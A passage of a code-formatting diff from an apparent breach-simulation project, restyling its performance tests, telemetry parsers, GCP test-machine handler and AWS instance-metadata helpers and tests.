PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, - max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, - endpoints_to_test=REPORT_RESOURCES, - break_on_timeout=break_on_timeout) - self.performance_test_workflow = PerformanceTestWorkflow(ReportGenerationTest.TEST_NAME, - exploitation_test, - performance_config) + exploitation_test = ExploitationTest( + ReportGenerationTest.TEST_NAME, + island_client, + raw_config, + analyzers, + timeout, + log_handler, + ) + performance_config = PerformanceTestConfig( + max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, + max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, + endpoints_to_test=REPORT_RESOURCES, + break_on_timeout=break_on_timeout, + ) + self.performance_test_workflow = PerformanceTestWorkflow( + ReportGenerationTest.TEST_NAME, exploitation_test, performance_config + ) def run(self): self.performance_test_workflow.run() diff --git a/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py b/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py index abc2b35c232..59c7e1848ba 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py +++ b/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py @@ -2,8 +2,9 @@ from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \ - TelemetryPerformanceTestWorkflow +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import ( + TelemetryPerformanceTestWorkflow, +) MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2) MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5) @@ -13,7 +14,7 @@ "api/attack/report", "api/report/zero_trust/findings", "api/report/zero_trust/principles", - "api/report/zero_trust/pillars" + "api/report/zero_trust/pillars", ] @@ -23,14 +24,18 @@ class ReportGenerationFromTelemetryTest(PerformanceTest): def __init__(self, island_client, quick_performance_test, break_on_timeout=False): self.island_client = island_client - performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, - max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, - endpoints_to_test=REPORT_RESOURCES, - break_on_timeout=break_on_timeout) - self.performance_test_workflow = TelemetryPerformanceTestWorkflow(ReportGenerationFromTelemetryTest.TEST_NAME, - self.island_client, - performance_config, - quick_performance_test) + performance_config = PerformanceTestConfig( + max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME, + max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME, + endpoints_to_test=REPORT_RESOURCES, + break_on_timeout=break_on_timeout, + ) + self.performance_test_workflow = TelemetryPerformanceTestWorkflow( + ReportGenerationFromTelemetryTest.TEST_NAME, + self.island_client, + performance_config, + quick_performance_test, + ) def run(self): self.performance_test_workflow.run() diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py index 0f0c3311ff2..42a85140538 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py @@ -5,39 +5,43 @@ from tqdm import tqdm -TELEM_DIR_PATH = './tests/performance/telem_sample' +TELEM_DIR_PATH = "./tests/performance/telem_sample" MAX_SAME_TYPE_TELEM_FILES = 10000 LOGGER = logging.getLogger(__name__) class SampleFileParser: - @staticmethod def save_teletries_to_files(telems: List[Dict]): - for telem in (tqdm(telems, desc="Telemetries saved to files", position=3)): + for telem in tqdm(telems, desc="Telemetries saved to files", position=3): SampleFileParser.save_telemetry_to_file(telem) @staticmethod def save_telemetry_to_file(telem: Dict): - telem_filename = telem['name'] + telem['method'] + telem_filename = telem["name"] + telem["method"] for i in range(MAX_SAME_TYPE_TELEM_FILES): if not path.exists(path.join(TELEM_DIR_PATH, (str(i) + telem_filename))): telem_filename = str(i) + telem_filename break - with open(path.join(TELEM_DIR_PATH, telem_filename), 'w') as file: + with open(path.join(TELEM_DIR_PATH, telem_filename), "w") as file: file.write(json.dumps(telem)) @staticmethod def read_telem_files() -> List[str]: telems = [] try: - file_paths = [path.join(TELEM_DIR_PATH, f) for f in listdir(TELEM_DIR_PATH) - if path.isfile(path.join(TELEM_DIR_PATH, f))] + file_paths = [ + path.join(TELEM_DIR_PATH, f) + for f in listdir(TELEM_DIR_PATH) + if path.isfile(path.join(TELEM_DIR_PATH, f)) + ] except FileNotFoundError: - raise FileNotFoundError("Telemetries to send not found. " - "Refer to readme to figure out how to generate telemetries and where to put them.") + raise FileNotFoundError( + "Telemetries to send not found. " + "Refer to readme to figure out how to generate telemetries and where to put them." + ) for file_path in file_paths: - with open(file_path, 'r') as telem_file: + with open(file_path, "r") as telem_file: telem_string = "".join(telem_file.readlines()).replace("\n", "") telems.append(telem_string) return telems diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py index 90422f9a0fe..70bb69de458 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py @@ -8,7 +8,7 @@ def __init__(self): def generate_fake_ips_for_real_ips(self, real_ips: List[str]) -> List[str]: fake_ips = [] for i in range(len(real_ips)): - fake_ips.append('.'.join(str(part) for part in self.fake_ip_parts)) + fake_ips.append(".".join(str(part) for part in self.fake_ip_parts)) self.increment_ip() return fake_ips @@ -19,7 +19,7 @@ def increment_ip(self): def try_fix_ip_range(self): for i in range(len(self.fake_ip_parts)): if self.fake_ip_parts[i] > 256: - if i-1 < 0: + if i - 1 < 0: raise Exception("Fake IP's out of range.") - self.fake_ip_parts[i-1] += 1 + self.fake_ip_parts[i - 1] += 1 self.fake_ip_parts[i] = 1 diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py index efee812275a..2a39e63538f 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py @@ -1,7 +1,8 @@ import random -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import \ - FakeIpGenerator +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( + FakeIpGenerator, +) class FakeMonkey: diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py index cb59560252d..7a1fb4032d4 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py @@ -6,24 +6,28 @@ from tqdm import tqdm -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import \ - FakeIpGenerator -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import FakeMonkey +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import ( + SampleFileParser, +) +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( + FakeIpGenerator, +) +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import ( + FakeMonkey, +) -TELEM_DIR_PATH = './tests/performance/telemetry_sample' +TELEM_DIR_PATH = "./tests/performance/telemetry_sample" LOGGER = logging.getLogger(__name__) class SampleMultiplier: - def __init__(self, multiplier: int): self.multiplier = multiplier self.fake_ip_generator = FakeIpGenerator() def multiply_telems(self): telems = SampleFileParser.get_all_telemetries() - telem_contents = [json.loads(telem['content']) for telem in telems] + telem_contents = [json.loads(telem["content"]) for telem in telems] monkeys = self.get_monkeys_from_telems(telem_contents) for i in tqdm(range(self.multiplier), desc="Batch of fabricated telemetries", position=1): for monkey in monkeys: @@ -40,46 +44,61 @@ def fabricate_monkeys_in_telems(telems: List[Dict], monkeys: List[FakeMonkey]): for monkey in monkeys: if monkey.on_island: continue - if (monkey.original_guid in telem['content'] or monkey.original_guid in telem['endpoint']) \ - and not monkey.on_island: - telem['content'] = telem['content'].replace(monkey.original_guid, monkey.fake_guid) - telem['endpoint'] = telem['endpoint'].replace(monkey.original_guid, monkey.fake_guid) + if ( + monkey.original_guid in telem["content"] + or monkey.original_guid in telem["endpoint"] + ) and not monkey.on_island: + telem["content"] = telem["content"].replace( + monkey.original_guid, monkey.fake_guid + ) + telem["endpoint"] = telem["endpoint"].replace( + monkey.original_guid, monkey.fake_guid + ) for i in range(len(monkey.original_ips)): - telem['content'] = telem['content'].replace(monkey.original_ips[i], monkey.fake_ips[i]) + telem["content"] = telem["content"].replace( + monkey.original_ips[i], monkey.fake_ips[i] + ) @staticmethod def offset_telem_times(iteration: int, telems: List[Dict]): for telem in telems: - telem['time']['$date'] += iteration * 1000 + telem["time"]["$date"] += iteration * 1000 def get_monkeys_from_telems(self, telems: List[Dict]): island_ips = SampleMultiplier.get_island_ips_from_telems(telems) monkeys = [] - for telem in [telem for telem in telems - if 'telem_category' in telem and telem['telem_category'] == 'system_info']: - if 'network_info' not in telem['data']: + for telem in [ + telem + for telem in telems + if "telem_category" in telem and telem["telem_category"] == "system_info" + ]: + if "network_info" not in telem["data"]: continue - guid = telem['monkey_guid'] + guid = telem["monkey_guid"] monkey_present = [monkey for monkey in monkeys if monkey.original_guid == guid] if not monkey_present: - ips = [net_info['addr'] for net_info in telem['data']['network_info']['networks']] + ips = [net_info["addr"] for net_info in telem["data"]["network_info"]["networks"]] if set(island_ips).intersection(ips): on_island = True else: on_island = False - monkeys.append(FakeMonkey(ips=ips, - guid=guid, - fake_ip_generator=self.fake_ip_generator, - on_island=on_island)) + monkeys.append( + FakeMonkey( + ips=ips, + guid=guid, + fake_ip_generator=self.fake_ip_generator, + on_island=on_island, + ) + ) return monkeys @staticmethod def get_island_ips_from_telems(telems: List[Dict]) -> List[str]: island_ips = [] for telem in telems: - if 'config' in telem: - island_ips = telem['config']['command_servers'] + if "config" in telem: + island_ips = telem["config"]["command_servers"] for i in range(len(island_ips)): island_ips[i] = island_ips[i].replace(":5000", "") return island_ips diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py index 02cf3a8ebd1..7a4f30cff76 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py @@ -1,19 +1,21 @@ from unittest import TestCase -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import \ - FakeIpGenerator +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( + FakeIpGenerator, +) class TestFakeIpGenerator(TestCase): - def test_fake_ip_generation(self): fake_ip_gen = FakeIpGenerator() self.assertListEqual([1, 1, 1, 1], fake_ip_gen.fake_ip_parts) for i in range(256): - fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1']) - self.assertListEqual(['1.1.2.1'], fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1'])) + fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1"]) + self.assertListEqual(["1.1.2.1"], fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1"])) fake_ip_gen.fake_ip_parts = [256, 256, 255, 256] - self.assertListEqual(['256.256.255.256', '256.256.256.1'], - fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1', '1.1.1.2'])) + self.assertListEqual( + ["256.256.255.256", "256.256.256.1"], + fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1", "1.1.1.2"]), + ) fake_ip_gen.fake_ip_parts = [256, 256, 256, 256] - self.assertRaises(Exception, fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1'])) + self.assertRaises(Exception, fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1"])) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py index 699876cce3c..b76c1b68dce 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py @@ -8,7 +8,9 @@ from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import ( + SampleFileParser, +) LOGGER = logging.getLogger(__name__) @@ -17,7 +19,6 @@ class TelemetryPerformanceTest: - def __init__(self, island_client: MonkeyIslandClient, quick_performance_test: bool): self.island_client = island_client self.quick_performance_test = quick_performance_test @@ -27,29 +28,40 @@ def test_telemetry_performance(self): try: all_telemetries = SampleFileParser.get_all_telemetries() except FileNotFoundError: - raise FileNotFoundError("Telemetries to send not found. " - "Refer to readme to figure out how to generate telemetries and where to put them.") + raise FileNotFoundError( + "Telemetries to send not found. " + "Refer to readme to figure out how to generate telemetries and where to put them." + ) LOGGER.info("Telemetries imported successfully.") - all_telemetries.sort(key=lambda telem: telem['time']['$date']) + all_telemetries.sort(key=lambda telem: telem["time"]["$date"]) telemetry_parse_times = {} - for telemetry in tqdm(all_telemetries, total=len(all_telemetries), ascii=True, desc="Telemetries sent"): + for telemetry in tqdm( + all_telemetries, total=len(all_telemetries), ascii=True, desc="Telemetries sent" + ): telemetry_endpoint = TelemetryPerformanceTest.get_verbose_telemetry_endpoint(telemetry) telemetry_parse_times[telemetry_endpoint] = self.get_telemetry_time(telemetry) - test_config = PerformanceTestConfig(MAX_ALLOWED_SINGLE_TELEM_PARSE_TIME, MAX_ALLOWED_TOTAL_TIME) + test_config = PerformanceTestConfig( + MAX_ALLOWED_SINGLE_TELEM_PARSE_TIME, MAX_ALLOWED_TOTAL_TIME + ) PerformanceAnalyzer(test_config, telemetry_parse_times).analyze_test_results() if not self.quick_performance_test: self.island_client.reset_env() def get_telemetry_time(self, telemetry): - content = telemetry['content'] - url = telemetry['endpoint'] - method = SupportedRequestMethod.__getattr__(telemetry['method']) + content = telemetry["content"] + url = telemetry["endpoint"] + method = SupportedRequestMethod.__getattr__(telemetry["method"]) return self.island_client.requests.get_request_time(url=url, method=method, data=content) @staticmethod def get_verbose_telemetry_endpoint(telemetry): telem_category = "" - if "telem_category" in telemetry['content']: - telem_category = "_" + json.loads(telemetry['content'])['telem_category'] + "_" + telemetry['_id']['$oid'] - return telemetry['endpoint'] + telem_category + if "telem_category" in telemetry["content"]: + telem_category = ( + "_" + + json.loads(telemetry["content"])["telem_category"] + + "_" + + telemetry["_id"]["$oid"] + ) + return telemetry["endpoint"] + telem_category diff --git a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py index 6d09752cabb..b492bf9e69b 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py @@ -1,12 +1,17 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest -from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import ( + EndpointPerformanceTest, +) from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import TelemetryPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import ( + TelemetryPerformanceTest, +) class TelemetryPerformanceTestWorkflow(BasicTest): - - def __init__(self, name, island_client, performance_config: PerformanceTestConfig, quick_performance_test): + def __init__( + self, name, island_client, performance_config: PerformanceTestConfig, quick_performance_test + ): self.name = name self.island_client = island_client self.performance_config = performance_config @@ -15,10 +20,14 @@ def __init__(self, name, island_client, performance_config: PerformanceTestConfi def run(self): try: if not self.quick_performance_test: - telem_sending_test = TelemetryPerformanceTest(island_client=self.island_client, - quick_performance_test=self.quick_performance_test) + telem_sending_test = TelemetryPerformanceTest( + island_client=self.island_client, + quick_performance_test=self.quick_performance_test, + ) telem_sending_test.test_telemetry_performance() - performance_test = EndpointPerformanceTest(self.name, self.performance_config, self.island_client) + performance_test = EndpointPerformanceTest( + self.name, self.performance_config, self.island_client + ) assert performance_test.run() finally: if not self.quick_performance_test: diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 927b5b6f379..00279ea8b21 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -11,14 +11,21 @@ class GCPHandler(object): MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s" MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s" - def __init__(self, key_path="../gcp_keys/gcp_key.json", zone="europe-west3-a", project_id="guardicore-22050661"): + def __init__( + self, + key_path="../gcp_keys/gcp_key.json", + zone="europe-west3-a", + project_id="guardicore-22050661", + ): self.zone = zone try: # pass the key file to gcp subprocess.call(GCPHandler.get_auth_command(key_path), shell=True) # noqa: DUO116 LOGGER.info("GCP Handler passed key") # set project - subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) # noqa: DUO116 + subprocess.call( + GCPHandler.get_set_project_command(project_id), shell=True + ) # noqa: DUO116 LOGGER.info("GCP Handler set project") LOGGER.info("GCP Handler initialized successfully") except Exception as e: @@ -32,14 +39,18 @@ def start_machines(self, machine_list): """ LOGGER.info("Setting up all GCP machines...") try: - subprocess.call((GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True) # noqa: DUO116 + subprocess.call( + (GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True + ) # noqa: DUO116 LOGGER.info("GCP machines successfully started.") except Exception as e: LOGGER.error("GCP Handler failed to start GCP machines: %s" % e) def stop_machines(self, machine_list): try: - subprocess.call((GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True) # noqa: DUO116 + subprocess.call( + (GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True + ) # noqa: DUO116 LOGGER.info("GCP machines stopped successfully.") except Exception as e: LOGGER.error("GCP Handler failed to stop network machines: %s" % e) diff --git a/envs/os_compatibility/conftest.py b/envs/os_compatibility/conftest.py index 13aabf5b61d..eb643c0283e 100644 --- a/envs/os_compatibility/conftest.py +++ b/envs/os_compatibility/conftest.py @@ -2,10 +2,14 @@ def pytest_addoption(parser): - parser.addoption("--island", action="store", default="", - help="Specify the Monkey Island address (host+port).") + parser.addoption( + "--island", + action="store", + default="", + help="Specify the Monkey Island address (host+port).", + ) -@pytest.fixture(scope='module') +@pytest.fixture(scope="module") def island(request): return request.config.getoption("--island") diff --git a/envs/os_compatibility/test_compatibility.py b/envs/os_compatibility/test_compatibility.py index 1cf5220bb28..f43323e19f6 100644 --- a/envs/os_compatibility/test_compatibility.py +++ b/envs/os_compatibility/test_compatibility.py @@ -31,22 +31,21 @@ } -@pytest.fixture(scope='class') +@pytest.fixture(scope="class") def island_client(island): island_client_object = MonkeyIslandClient(island) yield island_client_object -@pytest.mark.usefixtures('island_client') +@pytest.mark.usefixtures("island_client") # noinspection PyUnresolvedReferences class TestOSCompatibility(object): - def test_os_compat(self, island_client): print() all_monkeys = island_client.get_all_monkeys_from_db() ips_that_communicated = [] for monkey in all_monkeys: - for ip in monkey['ip_addresses']: + for ip in monkey["ip_addresses"]: if ip in machine_list: ips_that_communicated.append(ip) break diff --git a/monkey/__init__.py b/monkey/__init__.py index ee5b79ad073..a444730848a 100644 --- a/monkey/__init__.py +++ b/monkey/__init__.py @@ -1 +1 @@ -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" diff --git a/monkey/common/__init__.py b/monkey/common/__init__.py index ee5b79ad073..a444730848a 100644 --- a/monkey/common/__init__.py +++ b/monkey/common/__init__.py @@ -1 +1 @@ -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" diff --git a/monkey/common/cloud/__init__.py b/monkey/common/cloud/__init__.py index ee5b79ad073..a444730848a 100644 --- a/monkey/common/cloud/__init__.py +++ b/monkey/common/cloud/__init__.py @@ -1 +1 @@ -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index 75dee4ce97b..5cdf3bdd3c7 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -6,11 +6,11 @@ from common.cloud.environment_names import Environment from common.cloud.instance import CloudInstance -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254" -AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS) +AWS_LATEST_METADATA_URI_PREFIX = "http://{0}/latest/".format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS) ACCOUNT_ID_KEY = "accountId" logger = logging.getLogger(__name__) @@ -20,6 +20,7 @@ class AwsInstance(CloudInstance): """ Class which gives useful information about the current instance you're on. """ + def is_instance(self): return self.instance_id is not None @@ -32,25 +33,35 @@ def __init__(self): self.account_id = None try: - response = requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2) + response = requests.get( + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2 + ) self.instance_id = response.text if response else None self.region = self._parse_region( - requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').text) + requests.get( + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone" + ).text + ) except (requests.RequestException, IOError) as e: logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) try: self.account_id = self._extract_account_id( - requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).text) + requests.get( + AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", timeout=2 + ).text + ) except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e: - logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e)) + logger.debug( + "Failed init of AwsInstance while getting dynamic instance data: {}".format(e) + ) @staticmethod def _parse_region(region_url_response): # For a list of regions, see: # https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html # This regex will find any AWS region format string in the response. - re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])' + re_phrase = r"((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])" finding = re.findall(re_phrase, region_url_response, re.IGNORECASE) if finding: return finding[0] diff --git a/monkey/common/cloud/aws/aws_service.py b/monkey/common/cloud/aws/aws_service.py index a42c2e1dd64..0825811a984 100644 --- a/monkey/common/cloud/aws/aws_service.py +++ b/monkey/common/cloud/aws/aws_service.py @@ -6,24 +6,27 @@ from common.cloud.aws.aws_instance import AwsInstance -__author__ = ['itay.mizeretz', 'shay.nehmad'] +__author__ = ["itay.mizeretz", "shay.nehmad"] -INSTANCE_INFORMATION_LIST_KEY = 'InstanceInformationList' -INSTANCE_ID_KEY = 'InstanceId' -COMPUTER_NAME_KEY = 'ComputerName' -PLATFORM_TYPE_KEY = 'PlatformType' -IP_ADDRESS_KEY = 'IPAddress' +INSTANCE_INFORMATION_LIST_KEY = "InstanceInformationList" +INSTANCE_ID_KEY = "InstanceId" +COMPUTER_NAME_KEY = "ComputerName" +PLATFORM_TYPE_KEY = "PlatformType" +IP_ADDRESS_KEY = "IPAddress" logger = logging.getLogger(__name__) def filter_instance_data_from_aws_response(response): - return [{ - 'instance_id': x[INSTANCE_ID_KEY], - 'name': x[COMPUTER_NAME_KEY], - 'os': x[PLATFORM_TYPE_KEY].lower(), - 'ip_address': x[IP_ADDRESS_KEY] - } for x in response[INSTANCE_INFORMATION_LIST_KEY]] + return [ + { + "instance_id": x[INSTANCE_ID_KEY], + "name": x[COMPUTER_NAME_KEY], + "os": x[PLATFORM_TYPE_KEY].lower(), + "ip_address": x[IP_ADDRESS_KEY], + } + for x in response[INSTANCE_INFORMATION_LIST_KEY] + ] class AwsService(object): @@ -45,8 +48,8 @@ def set_region(region): @staticmethod def get_client(client_type, region=None): return boto3.client( - client_type, - region_name=region if region is not None else AwsService.region) + client_type, region_name=region if region is not None else AwsService.region + ) @staticmethod def get_session(): @@ -54,12 +57,12 @@ def get_session(): @staticmethod def get_regions(): - return AwsService.get_session().get_available_regions('ssm') + return AwsService.get_session().get_available_regions("ssm") @staticmethod def test_client(): try: - AwsService.get_client('ssm').describe_instance_information() + AwsService.get_client("ssm").describe_instance_information() return True except ClientError: return False diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/common/cloud/aws/test_aws_instance.py index 30f0c9d8655..146326518be 100644 --- a/monkey/common/cloud/aws/test_aws_instance.py +++ b/monkey/common/cloud/aws/test_aws_instance.py @@ -2,14 +2,13 @@ import requests import requests_mock -from common.cloud.aws.aws_instance import (AWS_LATEST_METADATA_URI_PREFIX, - AwsInstance) +from common.cloud.aws.aws_instance import AWS_LATEST_METADATA_URI_PREFIX, AwsInstance from common.cloud.environment_names import Environment -INSTANCE_ID_RESPONSE = 'i-1234567890abcdef0' +INSTANCE_ID_RESPONSE = "i-1234567890abcdef0" -AVAILABILITY_ZONE_RESPONSE = 'us-west-2b' +AVAILABILITY_ZONE_RESPONSE = "us-west-2b" # from https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html INSTANCE_IDENTITY_DOCUMENT_RESPONSE = """ @@ -33,34 +32,33 @@ """ -EXPECTED_INSTANCE_ID = 'i-1234567890abcdef0' +EXPECTED_INSTANCE_ID = "i-1234567890abcdef0" -EXPECTED_REGION = 'us-west-2' +EXPECTED_REGION = "us-west-2" -EXPECTED_ACCOUNT_ID = '123456789012' +EXPECTED_ACCOUNT_ID = "123456789012" -def get_test_aws_instance(text={'instance_id': None, - 'region': None, - 'account_id': None}, - exception={'instance_id': None, - 'region': None, - 'account_id': None}): +def get_test_aws_instance( + text={"instance_id": None, "region": None, "account_id": None}, + exception={"instance_id": None, "region": None, "account_id": None}, +): with requests_mock.Mocker() as m: # request made to get instance_id - url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id' - m.get(url, text=text['instance_id']) if text['instance_id'] else m.get( - url, exc=exception['instance_id']) + url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id" + m.get(url, text=text["instance_id"]) if text["instance_id"] else m.get( + url, exc=exception["instance_id"] + ) # request made to get region - url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone' - m.get(url, text=text['region']) if text['region'] else m.get( - url, exc=exception['region']) + url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone" + m.get(url, text=text["region"]) if text["region"] else m.get(url, exc=exception["region"]) # request made to get account_id - url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document' - m.get(url, text=text['account_id']) if text['account_id'] else m.get( - url, exc=exception['account_id']) + url = f"{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document" + m.get(url, text=text["account_id"]) if text["account_id"] else m.get( + url, exc=exception["account_id"] + ) test_aws_instance_object = AwsInstance() return test_aws_instance_object @@ -69,9 +67,13 @@ def get_test_aws_instance(text={'instance_id': None, # all good data @pytest.fixture def good_data_mock_instance(): - return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, - 'region': AVAILABILITY_ZONE_RESPONSE, - 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}) + return get_test_aws_instance( + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + } + ) def test_is_instance_good_data(good_data_mock_instance): @@ -97,9 +99,13 @@ def test_get_account_id_good_data(good_data_mock_instance): # 'region' bad data @pytest.fixture def bad_region_data_mock_instance(): - return get_test_aws_instance(text={'instance_id': 